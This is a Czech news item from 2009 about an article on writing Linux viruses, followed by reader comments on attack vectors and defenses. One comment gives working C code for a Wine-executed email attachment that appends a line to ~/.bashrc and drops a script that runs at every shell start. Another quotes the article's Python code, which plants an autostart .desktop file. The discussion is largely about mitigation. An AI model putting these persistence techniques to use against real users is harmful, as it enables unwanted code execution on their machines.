Na geekzone.co.nz se objevil zajímavý článek na téma psaní linuxových virů. V článku se píše, že Linux používají čím dál více i technicky méně zruční uživatelé a tudíž propašování „špatného kódu“ třeba podvodným emailem je jednodušší než dřív. Dále v něm autor říká, že spouštění příloh se dá obejít pomocí desktopových souborů, které najdeme třeba na ploše, nebo že nepotřebujeme root účet, abychom si užili legraci s uživatelskými daty.
Jak napsat linuxový virus v pěti krocích
12. 2. 2009
21
nových názorů
-
Izak (neregistrovaný)No tak prijde vir postou, kazdy klient mu neda pravo pro spusteni, tedy by musel prijit v TAR souboru.
Kdy budu hodne skaredy, tak vezmu svazku /home prava pro spusteni souboru .... a jsem kde vazeni ;-))) ... jeste existuje /tmp jenze to by se nejdrive muselo neco zpustit ;-))
Takze jsme kde vazeni ? -
Ahmul (neregistrovaný)> Kdy budu hodne skaredy, tak vezmu svazku /home prava pro spusteni souboru
Ale já mám docela rád svůj vlastní ~/bin/ adresář. -
Kvakor (neregistrovaný)To neni problem, je mozne mit ten ~/bin/ namountovany jako jiny souborovy system (pres loopback, pres tmpfs ...) a zaroven zachovat zbytek /home nespostitelny.
Bohuzel to nepomuze pri popisovanem typu utoku, ponevac veci spoustene dekstopovym prostedim pri startu nemusi mit priznak spustitelnosti. -
edois (neregistrovaný)Zas takovy problem to neni, staci mit nainstalovane a defaultne nakonfigurovane wine (kolik procent uzivatelu napr. ubuntu to takhle ma?), jako prilohu poslat windowsi exe (nejak atraktivne pojmenovane), ktere zapise neco do .bashrc a pruser je na svete... (samozrejme musite mit nastavenou asociaci .exe -> wine a nejaky emailovy klient, ktery ty asociace pouziva, ale to myslim v defaultnim ubuntu taky bude)
Napr. takto (vyzaduje nainstalovane wine v defaultni konfiguraci a Xdialog):
#include <stdio.h>
int main(int argc, char **argv)
{
char buf[4096];
snprintf(buf, 4096, "Z:\\home\\%s\\.bashrc", getenv("USERNAME"));
char buf2[4096];
snprintf(buf2, 4096, "Z:\\home\\%s\\.virustest.sh", getenv("USERNAME"));
FILE *f = fopen(buf, "a");
fprintf(f, "/bin/sh /home/%s/.virustest.sh \n", getenv("USERNAME"));
fclose(f);
f = fopen(buf2, "w");
fprintf(f, "#!/bin/bash \n");
fprintf(f, "Xdialog --msgbox \"Ahoj\" 0 0 \n");
fclose(f);
return 0;
}
Zkuste si to zkompilovat, nainstalovat si wine a xdialog, poslat si to postou a spustit to.. pak pri kazdem spusteni bashe dostanete xdialogovou hlasku "Ahoj"... -
vlabra (neregistrovaný)V případě že má WINE přístup do ~ tak je to průser. U mě to nemá :-) Co se BFU týče tak s Linuxem je to stejně jako s jimým OS. Největší bezpečnostní riziko se nachází mezi klávesnicí a židlí. Linux je odolnější proti útokům ze sítě, a pokud je dobře nakonfigurovaný tak i proti BFU. Pokud je dobře nakonfigurovaný. V případě že před ním sedí BFU s právem roota (nebo sudo), který automaticky kliká na Ano, tak je na tom Linux skoro stejně jako Windows. To skoro proto, že přece jenom Linux trochu více hraje na práva a snaží se to uživateli co nejvíce vymlouvat (varovaní v případě přihlášení jako root, či některé systémy, které roota ani nemají).
Jak už kdysi dávno jeden klasik řekl: "Na světě jsou poze dvě veci, které mohou být nekonečné. Vesmír a lidská blbost, ale s tím vesmírem si nejsem až zase tak jistý." -
Radim Luža (neregistrovaný)Ono problémem wine je, že když si při prvním spuštění generuje konfirguraci, tak si vytvoří disk Z: který mapuje přímo /. Díky tomu může wine spouštět i věci z tempu a odkudkoliv z disku... Je to pohodlné a přitom značně nebezpečné. Naštěstí wine není typicky asociován s windows soubory... tak zatím aspoň tak.
-
majkls (neregistrovaný)Je vidět, že autor píše viry pro windows, protože jinak by tohle nikdy nepsal:
uname = os.getlogin()
drop_dir = “/home/%s/.config/autostart” % uname
os.makedirs(drop_dir)
f = open(drop_dir+”/Malware.desktop”, “w”)
f.write(relauncher_str)
f.close()
Každý trochu slušnější programátor ví, že nemůže používat název loginu jako klíč k cestě k nějakému uživateli, žeano.... Slušnější programátor použije getpwnam/getpwuid, popřípadě proměnnou prostředí HOME.
Když už píšete někdo něco do článku, tak proboha aspoň korektně, ať se lidi neučej kraviny!
Nehledě nato, že python není samozřejmost. -
majkls (neregistrovaný)tak proměnná prostředí HOME je běžná praxe a vytváří ji každý login proces při přihlášení. Druhá věc je, že třeba cron ji nekonfiguruje (není login proces). Na tuto proměnnou spoléhají například knihovny mysql. Ale bude to i řada dalšího sw. Tedy vůbec si nemyslím, že to je kravina, naopak si myslím, že kravina je, jak to udělal autor.
Když chcete ukázat správnou cestu získání domovského adresáře, tak ji ukažte, ať se máme o čem bavit.
Zajímalo by mě, jak použití POSIXového getlogin() vypovídá o wingramátorovi.
To, že to (způsob použití určitých knihovních funkcí) je typická chyba spousty projektů ve win. Není to tak dlouho, co tu někdo prohlašoval, že nefunkčnost programů pod vistama není problém Windows, ale programátorů, kteří jsou prasata. A mimo jiné jako jeden z důvodů uváděl cesty a nekorektní použití určitých funkcí.
Takže daný virus by pod rootem mohl selhat, protože root má adresář (aspoň v linuxu) úplně jinde. A podotýkám, že to není jediný systémový uživatel.
